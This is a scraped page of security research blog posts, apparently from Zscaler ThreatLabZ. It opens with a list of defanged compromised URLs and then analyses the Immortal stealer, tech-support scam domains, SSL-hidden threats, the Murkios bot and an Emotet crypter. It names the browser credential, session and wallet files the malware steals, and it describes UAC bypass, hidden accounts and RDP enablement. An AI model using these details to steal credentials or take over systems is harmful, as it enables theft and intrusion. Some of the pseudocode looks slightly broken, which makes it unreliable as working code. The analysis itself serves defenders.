aioshipping[.]com/.well-known/acme-challenge/msg.jpg yourcurrencyrates[.]com/.well-known/pki-validation/mxr.pdf rangtrangxinh[.]vn/.well-known/acme-challenge/msg.jpg judge[.]education/.well-known/pki-validation/ssj.jpg hoadaklak[.]com/.well-known/acme-challenge/ssj.jpg nguyenlinh[.]vn/.well-known/acme-challenge/msg.jpg rdsis[.]in/.well-known/pki-validation/msg.jpg khanlanhdaklak[.]com/.well-known/acme-challenge/ssj.jpg presse[.] aioshipping[.]com:80/.well-known/acme-challenge/msg.jpg yourcurrencyrates[.]com:80/.well-known/pki-validation/mxr.pdf vinhomeshalongxanh[.]xyz:80/.well-known/pki-validation/ssj.jpg titusrealestate[.] dichvucong[.]vn:80/.well-known/acme-challenge/msg.jpg myphamnarguerite[.]com:80/.well-known/acme-challenge/mxr.pdf minifyurl[.]net:80/.well-known/pki-validation/mxr.pdf judge[.]education:80/.well-known/pki-validation/ssj.jpg minifyurl[.]net/.well-known/pki-validation/mxr.pdf neccotweethearts[.]com:80/.well-known/pki-validation/mxr.pdf backuptest[.] mobshop[.] neccotweethearts[.]com/.well-known/pki-validation/mxr.pdf myphamnarguerite[.]com/.well-known/acme-challenge/mxr.pdf khanlanhdaklak[.]com:80/.well-known/acme-challenge/ssj.jpg presse[.] mobshop[.] globalkabar[.]com/.well-known/pki-validation/sserv.jpg ereservices[.]com:80/.well-known/pki-validation/ssj.jpg dulichvietlao[.]vn:80/.well-known/acme-challenge/ssj.jpg backuptest[.] mamycloth[.]store:80/.well-known/acme-challenge/msg.jpg business[.] vinhomeshalongxanh[.]xyz/.well-known/pki-validation/ssj.jpg dichvucong[.]vn/.well-known/acme-challenge/msg.jpg thuducland[.]net/.well-known/acme-challenge/sserv.jpg sahabathasyim[.]com/.well-known/acme-challenge/sserv.jpg rangtrangxinh[.]vn:80/.well-known/acme-challenge/msg.jpg lovecookingshop[.]com:80/.well-known/pki-validation/ssj.jpg ereservices[.]com/.well-known/pki-validation/ssj.jpg hoadaklak[.]com:80/.well-known/acme-challenge/ssj.jpg ceroshop[.]net/.well-known/acme-challenge/nba1.jpg thuducland[.]net:80/.well-known/acme-challenge/sserv.jpg lovecookingshop[.]com/.well-known/pki-validation/ssj.jpg entrenadorpersonalterrassa[.] epifaniacr[.]net:80/.well-known/pki-validation/ssj.jpg titusrealestate[.] globalkabar[.]com:80/.well-known/pki-validation/sserv.jpg sahabathasyim[.]com:80/.well-known/acme-challenge/sserv.jpg dulichvietlao[.]vn/.well-known/acme-challenge/ssj.jpg argfoodfest[.] aa[-] duandojiland[-] master[-] ea[-] tropictowersfiji[.]com/.well-known/pki-validation/msg.jpg test[.] tebarameatsfiji[.]com/.well-known/pki-validation/msg.jpg sbs[.] sbs[.] samyaksolution[.] samyaksolution[.] rosyheartsfiji[.]com/.well-known/pki-validation/ needcareers[.]com/.well-known/pki-validation/msges.jpg natristhub[.]club/.well-known/pki-validation/msges.jpg natristhub[.]club/.well-known/pki-validation/msg.jpg mytripland[.]com:80/.well-known/pki-validation/sserv.jpg learning[.] ipeari[.]com/.well-known/pki-validation/msg.jpg diennangmattroi[.]com/.well-known/pki-validation/msges.jpg diennangmattroi[.]com/.well-known/pki-validation/msg.jpg alonhadat24h[.]vn/.well-known/acme-challenge/ 24bizhub[.]com/.well-known/pki-validation/msges.jpg 24bizhub[.]com/.well-known/pki-validation/msg.jpg thinkmonochrome[.] test[.] needcareers[.]com/.well-known/pki-validation/msg.jpg hanggiadungduc[.]vn/.well-known/acme-challenge/ designitpro[.]net/.well-known/acme-challenge/msg.jpg zanatika[.]com:80/.well-known/acme-challenge/ssj.jpg vina[.]fun:80/.well-known/acme-challenge/ssj.jpg nexusdental[.] neccotweethearts[.]com:80/.well-known/pki-validation/ssj.jpg jayc[-] indochine[-] hexamersolution[.]com/.well-known/acme-challenge/msg.jpg hexacode[.]lk:80/.well-known/acme-challenge/ssj.jpg dongha[.]city:80/.well-known/acme-challenge/ssj.jpg domika[.]vn/.well-known/acme-challenge/msg.jpg coupanadda[.]in:80/.well-known/pki-validation/ssj.jpg choviahe[.]cf:80/.well-known/acme-challenge/ssj.jpg brace[-] angkaprediksi[.]fun/.well-known/acme-challenge/msg.jpg advancitinc[.]com/.well-known/pki-validation/msg.jpg vodai[.]bid/.well-known/pki-validation/ssj.jpg thucphammena[.]com/.well-known/acme-challenge/ssj.jpg thefoodgram[.]com/.well-known/acme-challenge/ thefoodgram[.]com/.well-known/acme-challenge/ shopkimhuyen[.]com/.well-known/acme-challenge/msg.jpg shine[.] sbs[.] needcareers[.]com/.well-known/pki-validation/ needcareers[.]com/.well-known/pki-validation/ maithanhduong[.]com/.well-known/pki-validation/ luongynhiem[.]com/.well-known/pki-validation/ lichxuansaigon[.]com:80/.well-known/acme-challenge/ssj.jpg kinder[-] khannen[.] jayc[-] jambanswers[.]org/.well-known/pki-validation/ssj.jpg intercontinentalglobalservice[.]com:80/.well-known/pki-validation/ssj.jpg gurusexpo[.] gotrungtuan[.]online/.well-known/acme-challenge/ssj.jpg goindelivery[.]com/.well-known/pki-validation/ fernandoherrera[.]me:80/.well-known/acme-challenge/ssj.jpg diennangmattroi[.]com/.well-known/pki-validation/ canhooceangate[.]com/.well-known/acme-challenge/sserv.jpg bramptonpharmacy[.]ca/.well-known/acme-challenge/msg.jpg bolt[-] bmt[.]today/.well-known/acme-challenge/ssj.jpg blog[.] bhartivaish[.]com:80/.well-known/acme-challenge/ssj.jpg attireup[.]com/.well-known/acme-challenge/ attireup[.]com/.well-known/acme-challenge/ acreationevents[.]com/.well-known/acme-challenge/msg.jpg yeu82[.]com/.well-known/acme-challenge/ssj.jpg yeu81[.]com/.well-known/acme-challenge/ssj.jpg yeu49[.]com/.well-known/acme-challenge/ssj.jpg yeu48[.]com/.well-known/acme-challenge/ssj.jpg vuacacao[.]com/.well-known/acme-challenge/ssj.jpg vision[-] vinaykhatri[.]in/.well-known/acme-challenge/ssj.jpg vinaykhatri[.]in/.well-known/acme-challenge/mxr.pdf variantmag[.]com/.well-known/acme-challenge/sserv.jpg valentinesblues[.]com/.well-known/pki-validation/sserv.jpg uyencometics[.] tysonfury[.]rocks/.well-known/acme-challenge/msg.jpg tulipremodeling[.]com/.well-known/acme-challenge/sserv.jpg tropictowersfiji[.]com/.well-known/pki-validation/ thesaturnring[.]com/.well-known/acme-challenge/mxr.pdf theotokis[.]gr/.well-known/pki-validation/mxr.pdf thefashionelan[.]com/.well-known/pki-validation/msg.jpg tanione[.]com:80/.well-known/acme-challenge/ssj.jpg tanione[.]com/.well-known/acme-challenge/ssj.jpg steeveriano[.]com/.well-known/pki-validation/msg.jpg singleparentaustralia[.] shafercharacter[.]org/.well-known/acme-challenge/messg.jpg service[.] samyaksolution[.] realman[.]work/.well-known/acme-challenge/ rarejewelry[.]net/.well-known/acme-challenge/mxr.pdf rarejewelry[.]net/.well-known/acme-challenge/messg.jpg qsongchihotel[.]com/.well-known/acme-challenge/ssj.jpg panama[.] ngheve[.]com/.well-known/acme-challenge/ssj.jpg nfc[.] next[-] newsnaija[.]ng/.well-known/pki-validation/ssj.jpg newsnaija[.]ng/.well-known/pki-validation/mxr.pdf neelshivamlaw[.]com/.well-known/pki-validation/ neccotweethearts[.]com/.well-known/pki-validation/ssj.jpg navegacaolacet[.] mytripland[.]com/.well-known/pki-validation/ssj.jpg myschoolmarket[.] mskhangroup[.]com/.well-known/pki-validation/ mskhangroup[.]com/.well-known/pki-validation/msg.jpg morganbits[.]com/.well-known/acme-challenge/mxr.pdf mo7o[.]fun:80/.well-known/acme-challenge/mxr.pdf mitsubishidn[.] meliscar[.]com:80/.well-known/pki-validation/ssj.jpg meliscar[.]com/.well-known/pki-validation/ssj.jpg manhattan[.] maithanhduong[.]com/.well-known/pki-validation/msg.jpg lichxuansaigon[.]com/.well-known/acme-challenge/ssj.jpg lemon[-] lastra[.]top/.well-known/pki-validation/msg.jpg laflamme[-] laflamme[-] kousen[.] jambanswers[.]org/.well-known/pki-validation/ integramultimedia[.] incgoin[.]com/.well-known/pki-validation/ hexacode[.]lk/.well-known/acme-challenge/ssj.jpg happysungroup[.]de/.well-known/pki-validation/ssj.jpg goindelivery[.]com/.well-known/pki-validation/ goindelivery[.]com/.well-known/pki-validation/msg.jpg goindelivery[.]com/.well-known/pki-validation/ gnb[.]uz/.well-known/pki-validation/ssj.jpg geecee[.] geecee[.] gdn[.] fijidirectoryonline[.]com/.well-known/pki-validation/msg.jpg fastimmo[.]fr/.well-known/acme-challenge/sserv.jpg ereservices[.]com/.well-known/pki-validation/sserv.jpg ede[.]coffee/.well-known/acme-challenge/ssj.jpg dongydaisinhduong[.]com/.well-known/acme-challenge/messg.jpg diota[-] diota[-] diamondking[.]co/.well-known/pki-validation/sserv.jpg dev01[.] designitpro[.]net/.well-known/acme-challenge/ damuoigiasi[.]com/.well-known/acme-challenge/ssj.jpg dailynow[.]vn/.well-known/acme-challenge/msg.jpg choviahe[.]cf/.well-known/acme-challenge/ssj.jpg cellulosic[.] business[.] bhartivaish[.]com/.well-known/acme-challenge/sserv.jpg bcspremier[.]ru/promo/well-known/images/background_sm.jpg bcspremier[.]ru/promo/well-known/images/background_lg.jpg atiqah[.]my/.well-known/pki-validation/sserv.jpg aanarehabcenter[.]com:80/.well-known/pki-validation/ssj.jpg aanarehabcenter[.]com/.well-known/pki-validation/ssj.jpg 24bizhub[.]com/.well-known/pki-validation/ 24bizhub[.]com/.well-known/pki-validation/ ipeari[.]com/.well-known/pki-validation/msg.jpg ipeari[.]com/.well-known/pki-validation/ ipeari[.]com/.well-known/pki-validation/ ipeari[.]com/.well-known/pki-validation/ ipeari[.]com/.well-known/pki-validation/ learning[.] learning[.] learning[.] learning[.] learning[.] test[.] test[.] test[.] test[.] test[.] SBS[.] SBS[.] SBS[.] SBS[.] SBS[.] singleparentaustralia[.] singleparentaustralia[.] natristhub[.]club/.well-known/pki-validation/msg.jpg natristhub[.]club/.well-known/pki-validation/ natristhub[.]club/.well-known/pki-validation/ natristhub[.]club/.well-known/pki-validation/ natristhub[.]club/.well-known/pki-validation/ natristhub[.]club/.well-known/pki-validation/

Tue, 03/26/2019 - 08:55 Analysis,Compromise,Malware,Phishing,Ransomware Blogs
Immortal information stealer

Recently, the Zscaler ThreatLabZ team came across new information-stealer malware called Immortal, which is written in .NET and designed to steal sensitive information from an infected machine. The Immortal stealer is sold on the dark web with different build-based subscriptions. This blog provides an analysis of the data Immortal steals from browsers, the files it steals (and the applications it steals from), and what it does with the stolen data.

Immortal starts its infection by creating a directory with a random name in a temp folder. Next, it creates a password.log file in "\%Temp%\{Random_DirName}\password.log”.

Immortal writes the malware name, author’s name, and telegram address of the author in a password.log file.

  • Date: Current date and time  “MM/dd/yyyy HH:mm:ss”
  • Windows Username: Username
  • HWID: MachineGuid
  • System: Operating system name

Browser info stealing

Immortal steals data from 24 browsers. It steals stored credentials, cookies, credit card data, and autofill data from the targeted browsers.

When the user saves a username and password in the targeted browser, it stores the data in a “Login Data” file in an SQLite database format, and the browser-stored cookie information in the “Cookies” file. It also stores autofill data, credit card data, and other web information in the “Web Data” file. Below are the file paths for those files:

  • “\%AppData%\Local\{Browser}\User Data\Default\Login Data”
  • “\%AppData%\Local\{Browser}\User Data\Default\Web Data”
  • “\%AppData%\Local\{Browser}\User Data\Default\Cookies”

List of targeted browsers:

  • Chrome
  • Yandex
  • Orbitum
  • Opera
  • Amigo
  • CentBrowser
  • Torch
  • Comodo
  • Go!
  • ChromePlus
  • Uran
  • BlackHawk
  • CoolNovo
  • AcWebBrowser
  • Epic Browser
  • Baidu Spark
  • Rockmelt
  • Sleipnir
  • SRWare Iron
  • Titan Browser
  • Flock
  • Vivaldi
  • Sputnik
  • Maxthon

Credential stealing

The malware fetches credentials from the “Login Data” file and stores them in the password.log file as per the format below: Path: ” \%Temp%\{Random_DirName}\password.log”.

  • SiteUrl: Website URL
  • Login: Username
  • Password: Password
  • Program: Targeted browser

Cookie stealing

Immortal fetches cookie data from the cookies file and stores it in {Browsername}_cookies.txt file.

Path: “\%Temp%\{Random_DirName}\Cookies\{Browsername_cookies.txt}". The format is shown below.

Credit card data

Immortal fetches credit card data from the “Web Data” file and stores it in the {Browsername}_CC.txt file.

Path: “\%AppData%\{Random_DirName}\CC\{Browsername_CC.txt}”. The format is shown below.

Autofill data

The autofill feature of a browser allows the user to store commonly entered information in web forms. This information might include username, email, password, address, and credit card information. So, when the user opens a web page, it will automatically fill in the information already saved by the browser. The autofill information is stored in the “Web Data” file.

Immortal fetches autofill data from the “Web Data” file and stores it in the {Autofill}_CC.txt file.

Path: “\%AppData%\{Random_DirName}\Autofill\{Browsername_Autofill.txt}”. The format is shown below.


File stealing

Immortal steals files from many different applications. The details are below.

Minecraft launchers

The malware steals user data files and sessions from Minecraft launcher applications. The malware copies those applications' files into “%Temp%\{Random_DirName}\Applications\{AppName}\”. The following is a list of the applications:

  • MinecraftOnly
  • McSkill
  • LavaCraft
  • MinecraftLauncher
  • VimeWorld
  • RedServer


The malware steals files for the Steam application. Steam is an application for playing, discussing, and creating games. The files stolen by Immortal are as follows:

  • SSFN (2 files)
  • VDF files from the config folder
    • Config.vdf
    • loginusers.vdf

Telegram and Discord

Immortal also steals session-related files from Telegram and Discord. Telegram is a cloud-based instant messaging and voice over IP service. Discord is the cross-platform voice and text chat application designed to help gamers talk to each other in real time. Immortal copies those files into “%Temp%\{Random_Name}\Applications\{AppName}\”.

File Path:

  • %AppData%\Telegram Desktop\tdata\D877F783D5D3EF8C1\
  • %AppData%\Telegram Desktop\tdata\D877F783D5D3EF8C1\map0
  • %AppData%\Telegram Desktop\tdata\D877F783D5D3EF8C1\map1
  • %AppData%\discord\\Local Storage\\https_discordapp.com_0.localstorage


Immortal steals files that contain FileZilla credentials. FileZilla is a known FTP tool used for file transfer. The malware copies the below files into “\%Temp%\{Random_DirName}\FileZilla\”.

  • \%AppData%\Filezilla\recentservers.xml
  • \%AppData%\Filezilla\sitemanager.xml

Bitcoin-Qt wallet

Immortal steals wallet.dat files from Bitcoin-Qt, a free and open-source Bitcoin wallet software. Below is a screenshot of the code for fetching the wallet path from the registry. The malware copies the wallet.dat file in “%Temp%\{Random_DirName}\”.

Desktop files

Immortal also goes through every file in the desktop folder on the victim’s system. It steals extension files (listed below) and copies them into “%Temp%\{Random_DirName}\Files\”.

  • Txt
  • Log
  • Doc
  • Docx
  • sql

Screenshot & Webcam

Immortal takes a screenshot of the desktop of the infected system and saves it in “\%AppData%\{Random_DirName}\desktop.jpg”. It also captures a webcam snapshot and saves in it “\%AppData%\{Random_DirName}\CamPicture.jpg”.  

Network communication

The malware stores all the stolen data in the directory “\%Temp%\{Random_DirName}\”. After that, it compresses all the files in a ZIP archive and saves the compressed file in \%Temp%\{Random_filename}.zip. Further, it sends {Random_filename}.zip to its command-and-control server as shown below. It also deletes the “\%Temp%\{Random_DirName}\” before sending the ZIP file.

  • User = User name
  • Hwid = MachineGuid

At the time of analysis, the command & control panel for this stealer was live.

We found the Immortal stealer being advertised and sold with different build-based subscriptions. The following is a screenshot of a page that describes all of Immortal's functionality and cost per build. A per-post price for one build is $30.


Md5: 1719ff4ff267ef598a1dcee1d5b68667

Downloading URL : www.appleidservice[.]jp/stealer/files/svhost.exe

NetworkURL: www.appleidservice[.]jp/stealer/files/upload.php


Fri, 03/15/2019 - 09:12 Blogs
Scammers Use Cheap and Squatted Domains to Create Fake Sites

Last summer, a ThreatLabZ blog covered scam campaigns in which bad actors using .tk domains were showing warnings of a fake malware infection and trying to generate revenue by offering remediations. 

We recently noticed the development of similar campaigns in which bad actors are making use of cheap domains, registering them in bulk, and scamming people in an attempt to generate revenue. In this blog, we will cover a few of such campaigns.


Infrastructure Sharing

In our research last year, we noticed that domains with patterns such as some-domain[.]tk/index/?{random-long-int} were primarily showing support scams, such as alerting users that their systems had been infected with malware or claiming an infected site was from Microsoft and asking the user to use the hotline number provided. Once contacted, the scammer would take money from the end-user and perform random actions, show the filesystem tree, and claim the system was fixed.

This year, we are seeing slightly different behavior in which the same URI patterns are being leveraged for other scam redirections.

Fig-1 Scan redirection chain

Fig. 1: Infection chain 

The main site is injected with a malicious script responsible for malicious redirection chaining.

Fig. 2: Injected scripts

These injected scripts/URLs load different types of content in different iterations.

Fig. 3: Redirection chain

At the moment, these .tk domains are redirecting to various fake sites, including foreign exchange (forex), credit card, and healthcare, but the attacker can easily add more fake sites from other categories.

Fig. 4: Final .tk redirection to fake site

There are more than 700 .tk domains hosted on 185.251.39[.]220 and more than 80 .tk domains on 185.251.39[.]181, which are associated with this campaign. 

    Domain squatting leads to tech support scam

    We came across interesting instances in which a Google Mail squatted domain gmil[.]com was responsible for a Microsoft Tech Support scam redirection.

    Fig. 5: Google Mail squatted domain leading to Microsoft Tech Support scam

    The scam page that we received is similar to what we saw in our previous analysis, and there has been little to no development.

    Fig. 6: Support scam page

    The page microsft0x8024f0059rus[.]ml is hosted on 216.10.249[.]196, which is hosting over 400 .ga, .cf, .gq, .ml, and .tk domains; all are involved in Microsoft tech support scam activity.


    PopCash leading to fake sites, including medicine, tax debt relief, repair services, and adult sites

    Fig. 7: PopCash redirecting to fake sites that use the same page template

    In another redirection iteration, we saw adult-themed sites and a fake medicine site claiming to be CNN.

    Fig. 8: Adult themed site and fake CNN page selling Viagra


    Fake airlines

    We also spotted fake airline sites using an identical template, contact number, and Google gtag.

    Fig. 9: Similar fake airline sites

    The use of the nearly identical template means there is a scam kit being used to automatically generate their page content.

    Fig. 10: Template comparisons

    The IP address 103.25.128[.]224 is hosting 70 or more of these fake airline sites.


    Scam campaigns leveraging cheap domains such as .tk, .ga, .gq, .ml, .cf, and others have been on the rise for past few years now. Because registering such domains is very inexpensive, bad actors are doing bulk registrations for such domains and using them to generate revenue.

    While some of these sites are poorly designed and obvious scams, others are sophisticated and look very much like the real brand. Always look at a site’s URL to make sure the site is legitimate before initiating communications or making any kind of transaction.

    Zscaler ThreatLabZ is actively monitoring scamming sites and other threats to ensure coverage and will continue to share information on these campaigns.


    All scam domains involved in the above campaigns can be seen here.

    Wed, 03/06/2019 - 09:01 Blogs
    What’s hiding in encrypted traffic? Millions of advanced threats.

    Once seen as the ultimate protection for data being transmitted over the internet, encryption has become a vast playground for cybercriminals.

    Zscaler ThreatLabZ, the research organization at Zscaler, analyzed the encrypted traffic traversing the Zscaler cloud in the second half of 2018 and prepared a report of our findings. The Zscaler cloud processes more than 60 billion transactions a day and, at that volume, it provides valuable insight into traffic patterns and the types of threats organizations are facing globally.

    We already knew that the use of encryption had been rising each year and our research showed this trend continuing. By December 2018, the amount of encrypted traffic on the Zscaler cloud increased by 10 percent to nearly 80 percent of all traffic. This growth rate is consistent with that of the Google Transparency Report and Mozilla’s findings for the Firefox browser.

    Zscaler has always made its cloud statistics available to anyone who wants to see them. We have recently created a dashboard that shows the volume of encrypted traffic crossing our cloud as a percentage of total traffic. You can view that interactive dashboard here.

    Real-Time Zscaler Cloud Activity: Encrypted Traffic Dashboard

    As the use of SSL* grows, cybercriminals are increasingly using encryption to conceal and launch attacks. In the second half of 2018, the Zscaler cloud blocked 1.7 billion threats hidden in SSL traffic, which translates to an average of 283 million advanced threats blocked per month. The top blocked threat categories in our study period included phishing attempts—which increased more than 400 percent over 2017—as well as malicious content, botnets, and browser exploits.

    One of the reasons that SSL-based threats have increased so dramatically is because SSL/TLS certificates, which were once expensive and difficult to obtain, are now easy to get—at no charge. The vast majority of the certificates involved in security blocks in the Zscaler cloud were issued by Let’s Encrypt, a free service. Furthermore, nearly 32 percent of newly registered domains that were blocked by our cloud were using SSL encryption to deliver the content. We recommend inspecting and/or restricting access to newly registered domains, including those using SSL, to scan for malicious content being delivered from an otherwise unknown location with no history or reputation.

    While the percentage of growth in SSL traffic is slowing as it reaches near totality, the threat trends are increasing in both frequency and sophistication. Cybercriminals know that most organizations are unable to inspect SSL traffic at scale. So, with malicious websites that can be set up in no time with free SSL certificates, they’re launching attacks that have a good chance of going undetected.

    Organizations should be inspecting all encrypted traffic, even from CDNs and trusted sites, because many of the threats we continue to block are from legitimate sites that have been compromised. Organizations that don’t inspect all traffic are at risk of infiltration that can be difficult to remediate, lead to costly breaches, or damage their reputation.

    Read the full ThreatLabZ analysis of SSL/TLS-based threats: SSL Report


    *The encryption protocol is known by several terms—Secure Sockets Layer (SSL), Transport Layer Security (TLS), and HTTPS—and they are often used interchangeably. For the sake of simplicity, I am using “SSL” in this blog. 

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Deepen Desai is Zscaler VP of Security Research and Operations

    Wed, 02/27/2019 - 10:16 Blogs
    Murkios bot drops files and controls system remotely

    The Zscaler ThreatLabZ team came across the Murkios bot, which silently installs itself onto a user’s system and connects to a command-and-control (C&C) server by opening Secure Shell (SSH) terminals from the compromised system. This bot also installs “Plink,” which is legitimate remote sharing software that runs via command prompt using different switches from the C&C server. The bot appeared to have been written by Russian malware authors, which we were able to confirm after seeing some snippets in the resource section.

    The screenshot below shows the malware tests on different operating systems.

    During our analysis, we saw the following files being dropped by Murkios:

    Win XP:

    %AppData%\ssh\start.exe %AppData%\ssh\systems.exe %AppData%\ssh\winsys.exe %AppData%\ssh\winsystem.exe %AppData%\ssh\uid.txt %AppData%\ssh\sel.txt

    Win 7/Win 10:

    %AppData%\Roaming\ssh\start.exe %AppData%\Roaming\ssh\systems.exe %AppData%\Roaming\ssh\winsys.exe %AppData%\Roaming\ssh\winsystem.exe %AppData%\Roaming\ssh\uid.txt %AppData%\Roaming\ssh\sel.txt

    Below is a summary of activities performed by dropped files:

    • systems.exe – Installs RDP wrapper library
    • winsystem.exe – Legitimate Plink PuTTY command line tool
    • winsys.exe – Module acts as a mule sending all the harvested information to the attacker and has screen capture functionality
    • start.exe – Has functionality to bypass UAC, checks OS version installed, executes other modules such as winsys.exe, adds net user accounts
    • uid.txt – Stores unique identification (UID) of the victim's system

    All the dropped files are present in the resource section of the parent file.

    The malware tries to bypass the User Account Control (UAC) to execute <start.exe> which, in turn, establishes a connection with the C&C server and steals system information from the victim’s system.

    The malware checks to see if the UAC value is enabled in the registry; if it is already set to “1” (which means UAC access control is enabled in the system), it will delete the mscfile and create a new mscfile and put the start.exe file path in it, which is placed in the application directory.

    Next, it checks whether the system is 32 bit or 64 bit:

    The start.exe further creates schtask.exe to execute winsys.exe, which installs the legitimate remote sharing tool onto the victim’s system.


    /sc: Specifies Schedule Type

    ONLOGON: The task runs whenever a user (any user) logs on

    /tn:         Specifying the name of the task

    /tr:         Specifies the program or command that the task runs ’winsys.exe’ in our case

    The malware uses the net user command to add a user account and sets a password from the command prompt in hidden mode.


    Enabling remote desktop from the command prompt:


    /MAXPWAGE: UNLIMITED: Never expire the password.

    localport=3389: The server listens on TCP port 3389, which is the port Microsoft uses for Windows Remote Desktop, and makes remote assistance connections which are also used by Windows terminal users. It tries to change the Remote Desktop Protocol-Transmission Control Protocol (RDP-TCP) connections permissions in the Windows registry through the Microsoft Windows terminal service.

    The malware can take control of a remote computer or virtual machine over a network. This malware is using the following commands while in RDP.  

    Functions Description

    Ready to make the connection for remote desktop from terminal service

    fDenyTSConnections Allows or denies connection to Terminal Services; possible values are 0 or 1. 0
    MaxConnectionTime Maximum session time in seconds

    Maximum time in seconds after which disconnected sessions are ended


    Maximum idle time in seconds for user sessions


    Further, the system.exe process is hidden using the switch mode through cmd.exe and installs RDP Wrapper files into the C:\Program Files\RDP Wrapper directory, which enables Remote Desktop Host support and concurrent RDP sessions on home systems with reduced functionality. The RDP Wrapper works as a layer between the Service Control Manager and Terminal Services, so the original termsrv.dll file remains untouched.

    Sends data to C&C:

    After sending data to the server, the malware executes winsys.exe, which then executes winsystem.exe to download Plink PuTTY software. The winsys.exe executable also runs in hidden mode through the command prompt.


    This module acts as a mule and sends all the information to the attacker. This module has three functions. The first function captures the screen from the compromised system and sends it to the attacker.

    After receiving the screen capture from the compromised system, the attacker gives the acknowledgment “online=ok” and sends the UID and screen capture from the compromised system back to the attacker.

    Finally, the malware tries to make an SSH tunnel to in hidden mode with multiple arguments, as shown below.

    -P :         connect to the specified port

    -hostkey:     manually specify a host key

    -batch:        disable all interactive prompts

    -pw:          login with specified password





    Dropped files:

    Filename Md5
    system.exe 6E83A0F762F014924E24D81C07021690
    winsys.exe 473ED02A55DC91A6E719F270DF16AE35
    winsystem.exe 528248AE133191C591EC6D12732F2CFD
    start.exe 2A07FE3AEBD009D7308FD25E0C872CF9s
    uid.txt E46B1D5A895E0E15C3CF0F2BA05DAB45


    Download URL:



    Thu, 02/21/2019 - 14:20 Malware Blogs
    Demystifying the Crypter Used in Emotet, Qbot, and Dridex

    A crypter is software that can encrypt, obfuscate, and manipulate malware to make it harder to detect by security programs. The Zscaler ThreatLabZ research team recently spotted a common crypter being used in the recent Emotet, Qbot, and Dridex campaigns. This same crypter was observed in some of the Ursnif and BitPaymer campaigns as well. One of the reasons that Emotet and Dridex were able to survive for so long can be attributed to their ability to evade detection through the use of a volatile and polymorphic crypter, which wraps its original binary inside to complicate its detection and analysis.

    Emotet is modular malware that primarily functions as a downloader or dropper for other banking Trojans. Emotet has been active for the past four years and it was one of the most prevalent malware families of 2018. In previous blogs, we analyzed Emotet and one of its delivery campaigns. Dridex is a banking Trojan that evolved from the Zeus Trojan family. Dridex remains active in the wild even after the FBI’s takedown attempt in 2015. Qbot can allow remote access to a victim’s system, steal information, and upload this stolen information to the attacker’s remote server. Recently, Emotet’s payload URLs were found to be serving Qbot and were using the same crypter we’re examining in this report.

    This crypter provides multiple layers of protection on its core malware binary. In this research, we will describe the properties of crypted binaries that hold true across various mutations. These properties can be validated statically (without executing the binary) and used to write a decrypter. Below is a pictorial view of how Emotet’s core binary is digested inside the crypter’s layers of obfuscation and encryption wrappers.

    0. Core binary

    1. Code is obfuscated by shuffling instructions and substituting jump instruction

    2. Obfuscated binary is encrypted and appended at the end of the custom loader binary

    3. File alignment of custom loader binary is jumbled

    4. Custom loader binary is encrypted

    5. Final binary encapsulating scattered chunks of encrypted custom loader binary


    Image 1: Stages occur in crypter

    Our goal is to reverse each of above stages to get the core malware binary. Furthermore, the core binary is supposed to be independently loadable/executable, and IOCs should be easily extractable. So, starting with stage 5, we will describe certain heuristics properties of the binary and using these properties we will decrypt the stage and continue to track down till stage 0. In our analysis, we found that these heuristics properties hold true across all mutations of the binaries.


    Stage 5:

    The 5th stage binary is the Emotet executable file that is downloaded via malicious links in MalSpams or malicious macros in MS Office documents. Our goal in stage 5 is to reach stage 4 to obtain the encrypted custom loader binary. As we can see in image 1, the binary at this stage contains scattered chunks of encrypted custom loader binary. We need to spot these chunks and assemble them in the proper order. Before discussing how we are going to do this, what follows are few examples of how these chunks can be spread across the binary. The chunks are outlined in red.

    Image 2. Examples of chunk patterns

    From the above examples, we can see that these chunks are not found in fixed locations, as their sizes are inconsistent, and the order of chunks varies, too. Therefore, our first challenge is to locate these chunks and arrange them in the proper order. The good news is that we know the crypter will also need to arrange the chunks and will do so by storing the chunk addresses and sizes in a table. Let’s call this table “Chunk Descriptor Table.” The bad news is that this table cannot be found in a predictable location in the binary nor is the structure of the table is constant across mutations of the binary. Below are some of the variants of this table structure. Chunk Descriptor Table is basically an array of the Chunk Descriptor Entry.

    struct ChunkDescriptorEntry[n] ChunkDescriptorTable; // n == number of chunks

    Image 3: Examples of Chunk Descriptor Table structures


    In above structure, “chunkAddressDword” contains the virtual address of chunk. The size of chunk can be obtained by one of following operations on “firstDword” and “secondDword”. This operation is constant across all chunk descriptor entries.

    1. unsigned int chunkSize = firstDword + secondDword
    2. unsigned int chunkSize = firstDword ^ secondDword
    3. unsigned int chunkSize = secondDword - firstDword

    Heuristics properties of Chunk Descriptor Table:

    1. 0 <= x <= ?,      0 <= y <= ?,      0 <= z <= ?
    2. offset(firstDword) < offset(secondDword) < offset(chunkAddressDword)
    3. offset(firstDword) < offset(chunkAddressDword) < offset(secondDword)
    4. offset(chunkAddressDword) < offset(firstDword) < offset(secondDword)
    5. entropy(chunk) > 5 out of 8.
    6. Chunks do not contain consecutive 4 zeros.

    The following is the pseudo code for finding the chunk pattern. The function “FindChunkEntry” return offset of chunk and the distance of firstDword, chunkAddressDword from the beginning of the chunk offset. If the return value of three consecutive calls to function and length between three returned offsets are equal, then the whole array can be parsed to generate an associative array of chunk addresses and chunk sizes.

    (offset1, m1, n1) = FindChunkEntry(filedata, fileSize) (offset2, m2, n2) = FindChunkEntry(filedata + offset1, fileSize) (offset3, m3, n3) = FindChunkEntry(filedata + offset2, fileSize) If (offset2 - offset1) == (offset3 – offset2)     // found the FindChunkEntry array

    FindChunkEntry(filedata, fileSize)         p = 0         while p > fileSize                 firstDword = filedata[p]                 q = p                 while q < p + T                 secondDword = filedata[p]                         chunkSize = firstDword (+) secondDword                         r = p - T                         while r < q + T                                 chunkAddress = filedata[r]                                 if ValidateChunk(chunkAddress, chunkSize) == TRUE // Heuristics 5, 6                                         if p < q < r                                                 x = q - p                                                 y = r - q                                                 z = ?                                                 return (p, x, y)                                         elif p < r < q                                                 x = r - p                                                 y = q - r                                                 z = ?                                                 return (p, x, y)                                         elif r < p < q                                                 x = p - r                                                 y = q - p                                                 z = ?                                                 return (r, x, y)                                 r += 4                         q += 4                 p += 4

    Now that we have an associative array of chunk address and chunk sizes, we can combine these chunks to get the encrypted custom loader binary. Here we are at stage 4.


    Stage 4:

